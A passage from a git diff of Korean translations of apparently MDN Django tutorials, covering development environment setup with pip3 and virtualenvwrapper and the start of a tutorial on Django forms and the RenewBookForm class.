이러한 각각의 옵션들은 모두 조금씩 다른 구성과 설치가 필요합니다. 이어지는 세부 내용에서 몇 가지 선택 사항을 설명합니다. 이하 글에서는 몇 가지 운영체제에서 장고를 설치 및 설정하는 방법을 보여주고, 나머지 튜토리얼에서는 모두 이 설정을 가정해서 진행됩니다.

+ +
+

주의: 공식 장고 문서에서 다른 설치 옵션을 찾을 수 있습니다. 링크 : appropriate documents below.

+
+ +

어떤 운영체제가 지원되나요?

+ +

장고는 파이썬 3 프로그래밍 언어를 실행할 수 있는 거의 모든 기계에서 실행될 수 있습니다: 윈도우, 맥 OS X, 리눅스/유닉스, 솔라리스 등등. 거의 모든 컴퓨터가 개발 중에 장고를 실행할 수 있는 성능을 갖고 있습니다.

+ +

이 글에서는 윈도우, 맥 OS X, 리눅스/유닉스에 관해 설명하도록 하겠습니다.

+ +

파이썬은 어느 버전을 사용해야 할까?

+ +

가능한 최신 버전을 사용할 것을 권장합니다. 이 글을 작성할 때 가장 최신 버전은 파이썬 3.7입니다.

+ +

필요에 따라 Python 3.4 혹은 그 이후의 버전이 사용될 수 있습니다. (파이썬 3.4는 차후에 지원이 안될 수도 있습니다)

+ +
+

주의: 파이썬 2.7은 장고 2.0에서 사용할 수 없습니다. (장고 1.11.x 버전에서 마지막으로 파이썬 2.7을 지원했습니다)

+
+ +

장고는 어디서 다운로드할 수 있나요?

+ +

장고를 다운로드하는 세가지 방법 :

+ + + +

아래 글은 최신의 안정된 버전을 얻기 위해 PyPi에서 장고를 설치하는 방법을 보여줍니다.

+ +

어떤 Database를 써야 하나요?

+ +

장고는 네 가지 메인 데이터베이스(PostgreSQL, MySQL, Oracle 그리고 SQLite)를 지원합니다. 그리고 다른 인기있는 SQL과 NoSQL 데이터베이스들을 다양한 레벨로 지원하는 커뮤니티 라이브러리가 있습니다. 우리는 생산과 개발에 동일한 데이터베이스를 선택하는 것을 추천합니다(장고는 ORM(Object-Relational Mapper)을 사용해 데이터베이스간의 차이 대부분을 추상화하긴 하지만, 아직 피하는게 나은 잠재적 문제들이 있습니다.

+ +

이 글에서(그리고 이 모듈의 거의 모든 부분에서) 우리는 데이터를 파일로 저장하는 SQLite 데이터베이스를 사용할 것 입니다. SQLite는 가벼운 데이터베이스로 사용하기에 적합하며 높은 수준의 동시성을 지원하지 않습니다. 그렇지만 주로 읽기 전용인 응용 프로그램을 위해서는 아주 좋은 선택입니다.

+ +
+

주의: 장고는 django-admin과 같이 웹사이트를 만드는 표준 도구를 사용하면 SQLite가 기본 값으로 설정되어 있습니다. 이는 추가적인 설정이 필요하지 않으므로 시작하기에 좋습니다. 

+
+ +

시스템 전체에 설치할까요, 파이썬 가상환경에 설치할까요?

+ +

파이썬 3를 설치하면 모든 파이썬 3 코드가 공유하는 하나의 글로벌 환경이 만들어집니다. 그 환경에 원하는 어떤 파이썬 패키지라도 설치할 수 있지만, 각 패키지의 하나의 버전만 설치할 수 있습니다.

+ +
+

주의: 글로벌 환경에 설치된 파이썬 응용 프로그램들은 서로 충돌할 가능성이 있습니다. (예: 같은 패키지의 다른 버전일 경우)

+
+ +

만약 장고를 기본/전역 환경에 설치한다면 컴퓨터에서 하나의 장고 버전만을 대상으로 지정할 수 있습니다. 이것은 당신이 옛날 버전으로 작동하는 웹사이트를 관리하면서 최신 버전의 장고를 이용한 새로운 웹사이트를 만들고 싶을 때 문제가 됩니다.

+ +

결과적으로, 경험있는 파이썬/장고 개발자들은 일반적으로 독립적인 파이썬 환경에서 파이썬 앱들을 실행합니다. 이것은 여러 다른 장고 환경이 하나의 컴퓨터에서 작동 가능하게 합니다. 장고 개발팀에서도 당신이 파이썬 가상 환경을 사용하는 것을 추천합니다!

+ +

이 모듈은 당신이 장고를 가상 환경에 설치했다고 가정합니다. 아래에서 어떻게 설치하는지 알려드리겠습니다.

+ +

파이썬 3 설치

+ +

장고를 사용하기 위해서 파이썬을 설치해야 합니다. 파이썬 3을 사용하는 경우 장고와 다른 파이썬 앱에서 사용하는 파이썬 패키지 및 라이브러리를 설치, 업데이트, 제거하는 데 사용되는 pip3 (Python Package Index) 도구도 필요합니다.

+ +

이번 섹션에서는 현재 당신의 파이썬 버전이 무엇인지 확인하고, 필요에 따라 운영체제(Ubuntu Linux 16.04, macOS X, and Windows 10)별로 새로운 버전 설치 방법을 간단하게 설명합니다.

+ +
+

주의: 플랫폼에 따라 운영 체제의 자체 패키지 관리자 또는 다른 메커니즘을 통해 Python / pip를 설치할 수도 있습니다. 대부분의 플랫폼의 경우 https://www.python.org/downloads/에서 필요한 설치 파일을 다운로드하여 적절한 플랫폼 별 방법을 사용하여 설치할 수 있습니다.

+
+ +

우분투 16.04

+ +

우분투 리눅스 18.04 LTS는 파이썬 3.6.6을 기본적으로 포함하고 있습니다. bash 터미널에서 아래 코드를 실행하여 이것을 확인할 수 있습니다.:

+ +
python3 -V
+ Python 3.6.6
+ +

그러나 파이썬3의 패키지 설치를 위한 Python Package Index tool(장고를 포함해)는 기본적으로 설치되어있지 않습니다. bash 터미널에서 아래 코드를 사용하여 pip3를 설치할 수 있습니다:

+ +
sudo apt install python3-pip
+
+ +

맥OS X

+ +

맥OS X "엘 캐피탄" 이후의 최신 버전에서는 파이썬3를 포함하고 있지 않습니다. bash 터미널에서 아래 코드를 실행해서 확인할 수 있습니다.:

+ +
python3 -V
+ -bash: python3: command not found
+ +

당신은 python.org에서 파이썬3를(pip3 도구도 함께) 쉽게 설치할 수 있습니다:

+ +
    +
  1. 필요한 설치 파일을 다운로드하세요: +
      +
    1. https://www.python.org/downloads/ 로 가세요.
    2. +
    3. Download Python 3.7.0 버튼을 선택하세요 (정확한 마이너 버전 숫자는 다를 수도 있습니다).
    4. +
    +
  2. +
  3. 파인더를 통해 파일을 찾아, 패키지 파일을 더블클릭 하세요. 그리고선 설치 과정을 따릅니다.
  4. +
+ +

이제 아래와 같이 파이썬3의 성공적인 설치를 확인할 수 있습니다:

+ +
python3 -V
+ Python 3.7.0
+
+ +

가능한 패키지들의 목록을 불러옴으로써 pip3가 설치된 것을 확인할 수 있습니다:

+ +
pip3 list
+ +

윈도우 10

+ +

윈도우는 파이썬을 기본적으로 포함하고 있지 않지만, python.org에서(pip3 도구와 함께) 쉽게 설치할 수 있습니다:

+ +
    +
  1. 필요한 설치 파일을 다운로드하세요: +
      +
    1. https://www.python.org/downloads/ 로 가세요
    2. +
    3. Download Python 3.7.1 버튼을 선택하세요 (정확한 마이너 버전 숫자는 다를 수도 있습니다).
    4. +
    +
  2. +
  3. 다운로드된 파일을 더블클릭해서 파이썬을 설치하세요.
  4. +
+ +

명령 프롬프트에서 아래 텍스트를 입력해서 파이썬3가 설치된 것을 확인할 수 있습니다:

+ +
py -3 -V
+ Python 3.7.1
+
+ +

윈도우 버전의 설치 파일은 pip3(파이썬 패키지 관리자)가 기본적으로 포함되어 있습니다. 아래 코드로 설치된 패키지 목록을 볼 수 있습니다.

+ +
pip3 list
+
+ +
+

주의: 설치 파일은 위 코드들이 실행되기 위한 모든 것을 설치해줄 것입니다. 만약 파이썬을 찾을 수 없다는 메시지가 나오면, 파이썬을 당신의 시스템 경로에 추가하는 것을 깜빡했을 수가 있습니다. 당신은 설치 파일을 다시 실행해서 'Modify'를 선택 후 두 번째 페이지에 있는 "Add Python to environment variables" 박스에 체크함으로써 시스템 경로에 파이썬을 추가할 수 있습니다.

+
+ +

파이썬 가상 환경에서 장고 사용하기

+ +

우리가 가상 환경을 만드는 데 사용할 라이브러리들은 virtualenvwrapper (리눅스와 맥 OS X) 그리고 virtualenvwrapper-win (윈도우)입니다. 둘 다  virtualenv 도구를 사용하죠. wrapper 도구는 모든 플랫폼의 인터페이스를 관리하기 위한 일관적인 인터페이스를 생성합니다.

+ +

가상 환경 소프트웨어 설치하기

+ +

우분투 가상 환경 셋업

+ +

파이썬과 pip를 설치한 후에 (virtualenv를 포함하는)virtualenvwrapper를 설치할 수 있습니다. 공식 설치 가이드는 여기엣서 찾을 수 있습니다. 아니면 아래 설명을 따라오세요.

+ +

pip3를 사용해서 그 도구를 설치하세요:

+ +
sudo pip3 install virtualenvwrapper
+ +

그리고 당신의 shell 스타트업 파일(이것은 당신의 홈 디렉토리에 있는 숨겨진 .bashrc 파일 이름입니다)의 끝에 아래 코드를 추가하세요. 이 코드들은 가상 환경이 활동할 위치, 당신의 개발 프로젝트 디렉토리 위치, 그리고 이 패키지와 함께 설치된 스크립트의 위치를 설정합니다:

+ +
export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
+export VIRTUALENVWRAPPER_VIRTUALENV_ARGS=' -p /usr/bin/python3 '
+export PROJECT_HOME=$HOME/Devel
+source /usr/local/bin/virtualenvwrapper.sh
+ +
+

Note:VIRTUALENVWRAPPER_PYTHON 와 VIRTUALENVWRAPPER_VIRTUALENV_ARGS 변수는 파이썬3의 일반적인 설치 위치를 가리킵니다. 그리고 source /usr/local/bin/virtualenvwrapper.sh 는 virtualenvwrapper.sh 스크립트의 일반적인 위치를 가리킵니다. 만약 테스트 중에 virtualenv가 작동하지 않는다면, 확인해야 할 일 중 하나는 파이썬과 스크립트가 알맞은 위치에 있는지 입니다(그리고 스타트업 파일을 그에 맞게 바꾸세요).
+
+  which virtualenvwrapper.sh 와 which python3커맨드를 사용해서 당신의 시스템에 알맞은 위치를 찾을 수 있습니다.

+
+ +

그리고 아래 코드를 터미널에서 실행하여 스타트업 파일을 다시 불러오세요:

+ +
source ~/.bashrc
+ +

이 시점에서 아래와 같이 한 다발의 스크립트가 실행되는 걸 볼 수 있습니다 :

+ +
virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject
+...
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details
+ +

이제 mkvirtualenv명령으로 새로운 가상 환경을 생성할 수 있습니다.

+ +

맥OS X 가상 환경 설정

+ +

맥OS X에서 virtualenvwrapper를 설정하는 것은 우분트와 거의 다를바가 없습니다. (다시 말하지만,  공식 설치 가이드 를 따라하거나 아래 내용을 따라해도 됩니다).

+ +

아래와 같이 pip를 이용해 virtualenvwrapper (와 동봉된 virtualenv)를 설치하세요.

+ +
sudo pip3 install virtualenvwrapper
+ +

그리고 쉘 시작 파일(shell startup file)의 맨 아랫쪽에 아래 코드를 추가하세요.

+ +
export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
+export PROJECT_HOME=$HOME/Devel
+source /usr/local/bin/virtualenvwrapper.sh
+
+ +
+

참고사항: VIRTUALENVWRAPPER_PYTHON 변수는 파이썬3의 일반적인 설치 위치를 가리키며, source /usr/local/bin/virtualenvwrapper.sh는  virtualenvwrapper.sh스크립트의 일반적인 위치를 가리킵니다. 당신이 테스트할 때 virtualenv 가 동작하지 않는다면, 한가지 체크해볼 것은 파이썬과 해당 스크립트가 위에서 가리키는 위치에 있는지 여부입니다( 다르다면 startup 파일을 적절하게 수정해야 합니다).

+ + + +

예를 들어,  맥OS상의 어떤 시스템의 설치 테스트에서는 startup 파일에 아래와 같은 코드를 추가할 필요가 있었습니다 :

+ +
export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3
+export PROJECT_HOME=$HOME/Devel
+source /Library/Frameworks/Python.framework/Versions/3.7/bin/virtualenvwrapper.sh
+ +

which virtualenvwrapper.sh와 which python3.명령을 이용하여 당신 시스템 환경에서의 정확한 위치를 찾을 수 있습니다.

+ + +
+ +

이 코드들은 우분트에서도 같은 코드이지만, startup 파일은 당신의 홈 디렉토리에 위치하며 다른 이름 .bash_profile을 가진 숨겨진 파일입니다.

+ +
+

Note: 파인더(finder)에서.bash-profile 파일을 찾을 수 없다면, 터미널에서 nano를 이용해 이 파일을 열 수 있습니다. 

+ +

터미널 명령은 대체로 아래와 같습니다 :

+ +
cd ~  # Navigate to my home directory
+ls -la #List the content of the directory. YOu should see .bash_profile
+nano .bash_profile # Open the file in the nano text editor, within the terminal
+# Scroll to the end of the file, and copy in the lines above
+# Use Ctrl+X to exit nano, Choose Y to save the file.
+
+ + +
+ +

그 다음엔, 터미널에서 아래 명령을 호출하여 startup 파일을 재실행 하세요 :

+ +
source ~/.bash_profile
+ +

이 시점에서 한 다발의 스크립트가 실행되는 걸 볼 수 있습니다( Ubuntu 설치때와 같은 스크립트 입니다). 이제 mkvirtualenv 명령으로 새로운 가상환경을 생성할 수 있어야 합니다.

+ +

윈도우 10 가상 환경 설정

+ +

virtualenvwrapper-win 를 설치하는것이 virtualenvwrapper를 설치하는 것보다 훨씬 쉬운데, 가상 환경 정보를 어디에 저장해야할지 설정할 필요가 없기 때문입니다 (기본값이 있습니다). 아래 명령을 명령 프롬프트에서 실행하는 것이 당신이 해야할 전부입니다:

+ +
pip3 install virtualenvwrapper-win
+ +

이제 mkvirtualenv 명령으로 새로운 가상환경을 생성할 수 있습니다.

+ +

가상 환경 생성하기

+ +

일단 virtualenvwrapper 나 virtualenvwrapper-win 을 설치했다면 가상 환경으로 작업하는 것은 모든 플랫폼별에서 차이가 거의 없습니다.

+ +

이제 mkvirtualenv 명령으로 새로운 가상 환경을 생성할 수 있습니다. 이 명령이 수행될 때 환경이 설정되는 과정을 보게됩니다( 플랫폼에 따라 보이는 것이 다릅니다). 명령이 완료되면 새로운 가상환경이 활성화 됩니다 — 괄호내에 있는 가상환경의 이름으로 프롬프트가 시작하는 것으로 알 수 있습니다 (아래는 우분투의 경우인데, 마지막 라인은 윈도우/맥OS 도 유사합니다).

+ +
$ mkvirtualenv my_django_environment
+
+Running virtualenv with interpreter /usr/bin/python3
+...
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details
+(my_django_environment) ubuntu@ubuntu:~$
+
+ +

이제 당신은 가상환경내에 있으며 장고를 설치하고 개발을 시작할 수 있습니다.

+ +
+

주의: 이 시점부터 이 기사 ( 정확히는 이 모듈)에서 실행되는 모든 명령은 위에서 우리가 설정한 파이썬 가상환경내에서 실행되는 것으로 간주합니다.

+
+ +

가상 환경 사용하기

+ +

당신이 알아야 하는 명령이 몇 가지 더 있다.(도구 문서에는 더 많이 있긴하지만, 아래 명령이 꾸준히 사용하게될 명령들이다):

+ + + +

장고 설치하기

+ +

일단 가상 환경을 하나 생성하고, 진입하기 위해 workon 을 호출하면 장고를 설치하기 위해 pip3를 사용할 수 있다. 

+ +
pip3 install django
+
+ +

아래 명령을 실행하여 장고가 설치되었는지 테스트할 수 있다 (이 명령은 단지 파이썬이 django 모듈을 찾을 수 있는지 테스트한다):

+ +
# Linux/macOS X
+python3 -m django --version
+ 2.0
+
+# Windows
+py -3 -m django --version
+ 2.0
+
+ +
+

주의: 위의 윈도우 명령이 django 모듈이 존재하는지 보여주지 않으면, 아래 명령을 시도해보세요:

+ +
py -m django --version
+ +

당신의 설치 방법에 따라 변할수도 있긴 하지만, 윈도우에서는 파이썬 3 스트립트는 py -3을 명령앞에 붙여야 실행됩니다. 명령 실행에 문제가 있으면 -3옵션을 빼 보세요. 리눅스/맥OS  X 에서는 python3명령입니다.

+
+ +
+

중요사항: 이 모듈 의 나머지부분에서는 파이썬 3를 실행하는 명령으로 리눅스 명령 (python3) 을 사용합니다. 당신이 윈도우에서 진행중이라면 단지 명령 앞부분을 py -3로 변경하면 됩니다.

+
+ +

설치한 것 확인하기

+ +

위 테스트는 성공해도 그리 재미있는 작업은 아니었습니다. 더 흥미있는 테스트는 기초적인 프로젝트를 생성해서 동작하는것을 보는것입니다. 이것을 해보기 위해, 명령 프롬프트/터미널에서 장고 앱을 저장할 부모폴더로 이동하세요. 테스트 사이트용 폴더를 생성하고 그 폴더안으로 이동하세요.

+ +
mkdir django_test
+cd django_test
+
+ +

그 다음 아래와 같이 django-admin 도구를 이용해 "mytestsite" 라는 사이트의 기본 토대를 생성할 수 있습니다. 사이트를 생성한 이후 그 폴더로 가면 해당 프로젝트를 관리할수 있는 manage.py 라는 이름의 메인 스크립트파일을 발견할 것입니다.

+ +
django-admin startproject mytestsite
+cd mytestsite
+ +

이 폴더내에서 runserver 명령과 manage.py 를 이용하여 아래와 같이 개발용 웹 서버를 실행할 수 있습니다.

+ +
$ python3 manage.py runserver
+Performing system checks...
+
+System check identified no issues (0 silenced).
+
+You have 15 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.
+Run 'python manage.py migrate' to apply them.
+
+October 26, 2018 - 07:06:30
+Django version 2.1.2, using settings 'mytestsite.settings'
+Starting development server at http://127.0.0.1:8000/
+Quit the server with CONTROL-C.
+
+ +
+

주의: 위 명령은 Linux/macOS X 명령을 보여준다. 지금 시점에서는  "15 unapplied migration(s)" 의 경고 문구는 무시해도 됩니다 !

+
+ +

일단 서버가 실행중이면 당신 시스템의 웹 브라우저로 아래 URL에 가서 만들어진 사이트를 볼 수 있습니다: http://127.0.0.1:8000/. 방문한 사이트에서 아래와 같은 모습이 보여야 합니다:

+ +

Django Skeleton App Homepage

+ + + +

요약

+ +

당신은 이제 장고 개발 환경을 구축하고 당신의 컴퓨터에서 실행중입니다.

+ +

마지막 확인 섹션에서  django-admin startproject 명령을 이용해 어떻게 새로운 장고 웹사이트를 생성할 수 있는지 간단하게 확인했습니다. 그리고 개발용 웹 서버를 이용해 당신의 브라우저로 웹사이트를 실행했습니다(python3 manage.py runserver). 다음 튜토리얼에서는 간단하지만 완전한 웹 어플리케이션을 구축하는 이 과정을 좀 더 상세히 설명합니다.

+ +

더불어 보기

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}

+ +

이 모듈에 포함된 튜토리얼

+ + diff --git a/files/ko/learn/server-side/django/forms/index.html b/files/ko/learn/server-side/django/forms/index.html new file mode 100644 index 0000000000..e8b51c3bf5 --- /dev/null +++ b/files/ko/learn/server-side/django/forms/index.html @@ -0,0 +1,682 @@ +--- +title: 'Django 튜토리얼 파트 9: 폼(form)으로 작업하기' +slug: Learn/Server-side/Django/Forms +translation_of: Learn/Server-side/Django/Forms +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}
+ +

이 튜토리얼에서 우리는 Django에서 HTML Form 작업 방법을 보여주고 특히 model Instance를 생성,수정,제거 하는 Form을 작성하는 가장 쉬운 방법을 보여줄 것이다. 이 예제의 일부분으로 우리는 도서관직원이 (admin 앱을 이용하기 보다) 우리가 만든 form을 이용하여 책 대여기간을 연장하거나 작가 정보를 생성,수정,제거할 수 있도록 LocalLibrary 웹사이트를 확장할 것이다.

+ + + + + + + + + + + + +
사전학습:아래 파트를 포함하여 앞선 모든 튜토리얼 파트의 학습을 완료할것 Django 튜토리얼 파트 8: 사용자 인증과 이용권한.
학습목표:사용자로 부터 정보를 얻고 database를 수정하는 form을 작성하는 방법을 이해하기. 일반 클래스 기반 form 편집용 view가  단독 model로 동작하는 form을 작성할 때 얼마나 많이 단순화할 수 있는지 이해하기. 
+ +

개요

+ +

HTML 폼(Form) 은 웹 페이지상에서 한개 이상의 필드나 위젯들의 묶음을 말하며, 사용자로부터 정보를 수집하여 서버에 제출하는데 사용된다. 다양한 종류의 데이타 입력을 지원하는 위젯들( 텍스트 박스, 체크 박스, 라디오 버튼, 날짜 선택기 등등)이 많이 존재하기 때문에, 폼은 사용자 입력을 수집하는데 유연한 장치라고 할 수 있다. 폼은 또한, 교차 사이트 요청 위조 방지(CSRF protection, cross-site request forgery protection)와 함께 POST요청으로 데이타를 보낼수 있도록 지원하므로, 데이타를 서버와 공유하는데 있어서 비교적 안전한 방법이다.

+ +

지금까지 이 튜토리얼에서 우리가 직접 폼을 생성한 적은 없지만, Django 관리 사이트에서 이미 경험해 보았다. 예를 들면, 아래 스크린 샷에서 Book 모델중 하나를 편집하는 폼을 보여주고 있는데, 몇개의 선택 목록과 텍스트 에디터를 볼 수 있다.

+ +

Admin Site - Book Add

+ +

폼을 개발하는 것은 복잡한 작업이 될수도 있다! 개발자는 일단, 폼을 위한 HTML을 작성해야 하며, 서버로 입력된 (아마도 브라우저로도 입력된) 데이타의 유효성을 검증하고 적절하게 수정하도록 하고, 유효하지 않은 입력에 대해서 사용자가 알 수 있도록 폼을 에러 메시지와 함께 다시 표시해야하며,성공적으로 제출된 데이타를 적절히 처리하고, 마지막으로 성공했을 경우 사용자가 알수 있게 응답하도록 개발 해야 한다. Django 폼은 다음과 같은 기능의 프레임워크를 제공하여 이 모든 단계중 많은 부분을 덜어내 준다. 이 프레임워크는 폼과 그에 연관된 필드를 프로그램적으로 정의하여 객체를 만들고, 폼 HTML 코드를 작성하는 작업과 데이타 유효성 검증과 사용자 상호작용에 이 객체들을 사용한다.

+ +

이번 튜토리얼에서는, 폼을 생성하고 폼으로 작업하는 몇가지 방법을 보여줄 것이다. 특히, 모델을 처리하는 폼을 작성하는데 필요한 작업량을, generic 편집 폼 view를 이용하여 어떻게 획기적으로 줄일 수 있는지 보여줄 것이다. 그 과정에서, 도서관 사서들이 도서관 책 상태를 갱신할 수 있는 폼을 추가하고 책과 저자를 생성, 편집, 삭제할수 있는 페이지를  생성할 것이다. (즉, 위와 같이 책을 편집하는 폼의 기본적인 버전을 다시 개발하는 것이다).

+ +

HTML 폼(Form) 이란?

+ +

첫번째로 HTML 폼(Form)에 대한 간단한 개요이다. 어떤 "team"의 이름을 입력하는 단일 텍스트 필드와 관련 라벨을 가진 간단한 HTML 폼을 생각해보자:

+ +

Simple name field example in HTML form

+ +

폼은 HTML에서 적어도 한 개 이상의 type="submit"인 input 요소를 포함하는 <form>...</form> 태그 사이의 요소들의 집합으로 정의된다.

+ +
<form action="/team_name_url/" method="post">
+    <label for="team_name">Enter name: </label>
+    <input id="team_name" type="text" name="name_field" value="Default name for team.">
+    <input type="submit" value="OK">
+</form>
+ +

위 코드에서는 팀 이름을 입력하기 위한 텍스트 필드를 단지 한개만 가지는데, 폼이 가질수 있는 입력 요소와 관련 라벨의 갯수에는 제한이 없다. 필드의  type 속성은 어떤 종류의 위젯이 표시될지 정의한다.  필드의 nameid 가 JavaScript/CSS/HTML에 있는 필드를 확인하는데 사용되고 value는 필드가 처음 표시될 때의 초기값을 정의한다. 관련 팀 라벨은 label태그(  위 코드에서 "Enter name"을 확인)를 이용해 명시된다.  여기서 for필드는 관련된 input의  id값을 포함하고 있다. 

+ +

submit 타입의 input 태그는 (기본적으로) 사용자가 누를수 있는 버튼으로 표시되는데, 버튼의 동작에 의해 폼의 다른 모든 input 요소의 데이터가 서버로 업로드된다 (위의 경우는 team_name만 업로드된다).  폼 속성으로는 데이터를 보내기 위해 사용되는 HTTP method와 서버상에서 데이타의 목적지를 ( action으로) 정의한다:

+ + + +

서버의 역할은 첫번째로 - 필드를 비워두거나 초기값으로 채워두도록 - 초기 폼 상태를 표시하는 것이다. 사용자가 제출 버튼을 누른후에, 서버는 웹 브라우저로부터 폼의 데이타를 념겨 받고, 데이타의 유효성 검증을 해야한다. 폼이 유효하지 않은 데이타를 담고 있다면, 서버는 폼을 다시 표기해야 하는데, 이번에는 사용자가 입력한 유효한 데이타는 그대로 표시하며, 유효하지 않은 필드만 경고 메시지와 함께 표기해야 한다. 일단 모든 필드의 데이타가 유효한 폼 데이타의 제출요청을 서버가 받게 되면, 서버는 적절한 동작(예를 들면, 데이타를 저장하거나, 검색결과를 반화하거나, 파일을 업로딩하는 등등의 작업)을 수행하고 사용자에게 알려주게된다.

+ +

당신이 상상할 수 있듯이, HTML을 작성하고, 입력된 데이타의 유효성을 검증하고, 필요시에 입력된 데이타를 검증 결과와 함게 다시 표시하며, 유효한 데이타에 대해 요구되는 동작을 수행하는 것은 "올바르게 하기"위해서는 꽤 많은 노력이 필요한 작업이다. Django는 일부 과중한 작업과 반복 코드를 줄여줌으로서, 이 작업을 훨씬 쉽게 만든다!

+ +

Django 폼 처리 과정

+ +

Django의 폼 처리 과정은 (모델에 대한 정보를 보여주는데 있어서) 우리가 앞선 튜토리얼에서 배웠던 것과 같은 기술을 사용한다. : 뷰는 요청을 받고, 모델로 부터 데이타를 읽는것을 포함한 요구되는 동작을 수행한다. 그런 다음, (보여줄 데이타를 포함한 context를 전달받은 템플릿으로 부터) HTML page를 생성하고 반환한다. 서버 또한 사용자가 입력한 데이타를 처리가능 해야 하며,  에러가 있으면 그 페이지를 다시 보여줄 필요가 있기 때문에 상황을 더욱 복잡하게 만든다. 

+ +

아래에 Django가 어떻게 요청읕 처리하는지 보여주는 플로우 차트가 있다. 폼을 포함하는 페이지에 대한 요청 (초록색으로 표시함) 으로 시작하고 있다. 

+ +

Updated form handling process doc.

+ +

위의 다이어그램에 기반하여, Django 폼이 주요하게 다루는 것은 다음과 같다. :

+ +
    +
  1. 사용자가 처음으로 폼을 요청할 때 기본 폼을 보여준다. +
      +
    • 폼은 비어있는 필드가 있을 수 있다 (예를 들면, 새로운 책을 등록할 경우) 아니면 초기값으로 채워진 필드가 있을 수도 있다. ( 예를 들면, 기존의 책을 수정하거나, 흔히 사용하는 초기값이 있을경우)
    • +
    • 이 시점의 폼은 (초기값이 있긴해도) 유저가 입력한 값에 연관되지 않았기에  unbound 상태라고 불린다.
    • +
    +
  2. +
  3. 제출 요청으로 부터 데이타를 수집하고 그것을 폼에 결합한다. +
      +
    • 데이타를 폼에 결합(binding) 한다는 것은 사용자 입력 데이타와 유효성을 위반한 경우의 에러메시지가 폼을 재표시할 필요가 있을 때 준비되었다는 의미이다.
    • +
    +
  4. +
  5. 데이타를 다듬어서 유효성을 검증한다. +
      +
    • 데이타를 다듬는다는 것은 사용자 입력을 정화(sanitisation) 하고 (예를 들면, 잠재적으로 악의적인 콘덴츠를 서버로 보낼수도 있는 유효하지 않은 문자를 제거하는 것)  python에서 사용하는 타입의 데이타로 변환하는 것이다.
    • +
    • 유효성검증은 입력된 값이 해당 필드에 적절한 값인지 검사한다. (예를 들면, 데이타가 허용된 범위에 있는 값인지, 너무 짧거나 길지 않은지 등등) 
    • +
    +
  6. +
  7. 입력된 어떤 데이타가 유효하지 않다면, 폼을 다시 표시하는데 이번에는 초기값이 아니라 유저가 입력한 데이타와 문제가 있는 필드의 에러 메시지와 함께 표시한다.
  8. +
  9. 입력된 모든 데이타가 유효하다면, 요청된 동작을 수행한다. (예를 들면, 데이타를 저장하거나, 이메일을 보내거나, 검색결과를 반환하거나, 파일을 업로딩하는 작업 등등)
  10. +
  11. 일단 모든 작업이 완료되었다면, 사용자를 새로운 페이지로 보낸다.
  12. +
+ +

Django는 위에 설명된 작업을 도와줄 수많은 도구와 접근법을 제공한다. 가장 기초적인 것은 Form 클래스 인데 form HTML의 생성과 데이터 정화와 유효성검증을 간단하게 만든다. 다음 단계에서는, 도서관 사서가 책의 대여갱신을 할수 있도록 해주는 페이지의 실제적인 예제를 이용해 폼이 어떻게 동작하는지 살펴보도록 한다.

+ +
+

참고사항:  Form 이 어떻게 사용되는지 이해해두면 Django의 "고급 레벨" 폼 프레임워크 클래스를 논의하는데 도움이 된다.

+
+ +

책 대여갱신 form과 함수 view

+ +

다음으로 도서관직원이 대여기간을 갱신할수 있는 페이지를 추가할 것이다. 이 작업을 위해 사용자가 날짜 정보를 입력할 수 있는 form을 생성할 것이다.  그 필드는 현재날짜로 부터 3주의 기간 (일반적인 대여기간)으로 초기화될 것이다. 그리고 도서관직원이 과거날짜를 입력하거나 너무 긴 대여기간을 입력하지 않도록 유효성 체크기능을 추가할 것이다.  유효 날짜가 입력되면, 현재 record의 BookInstance.due_back 필드에 써넣을 것이다.

+ +

아래 예제는 함수기반 view와 Form 클래스를 이용할 것이다. 이어지는 내용에서 form 동작 방법과 현재진행중인 LocalLibray 프로젝트에서 변경할 내용을 설명한다.

+ +

Form 작성하기

+ +

Form 클래스는 Django form 관리 시스템의 핵심이다. Form 클래스는 form내 field들, field 배치, 디스플레이 widget, 라벨, 초기값, 유효한 값과 (유효성 체크이후에) 비유효 field에 관련된 에러메시지를 결정한다. Form 클래스는 또한 미리 정의된 포맷(테이블, 리스트 등등) 의 템플릿으로 그자신을 렌더링하는 method나 (세부 조정된 수동 렌더링을 가능케하는) 어떤 요소의 값이라도 얻는 method를 제공한다.

+ +

Form 선언하기

+ +

Form 을 선언하는 문법은 Model을 선언하는 것과 많이 닮았으며, 같은 필드타입을 사용한다. ( 또한 일부 매개변수도 유사하다) . 두가지 경우 모두 각 필드가 데이타에 맞는 (유효성 규칙에 맞춘) 타입인지 확인할 필요가 있고, 각 필드가 보여주고 문서화할 description을 가진다는 것에서 Form과 Model이 유사한 문법으로 구성된다는 점을 납득할 수 있다. 

+ +

Form 데이타는 어플리케이션 디렉토리 안의 forms.py 파일에 저장되어야 한다. locallibrary/catalog/forms.py 파일을 생성하고 열어보자. Form을 생성하기 위해, Form클래스에서 파생된, forms라이브러리를 import 하고 폼 필드를 생성한다. 아래는 도서관 책 갱신 폼에 대한 아주 기본적인 폼 클래스이며 이를 생성한 파일에 추가하자.

+ +
from django import forms
+
+class RenewBookForm(forms.Form):
+    renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).")
+
+ +

Form 필드

+ +

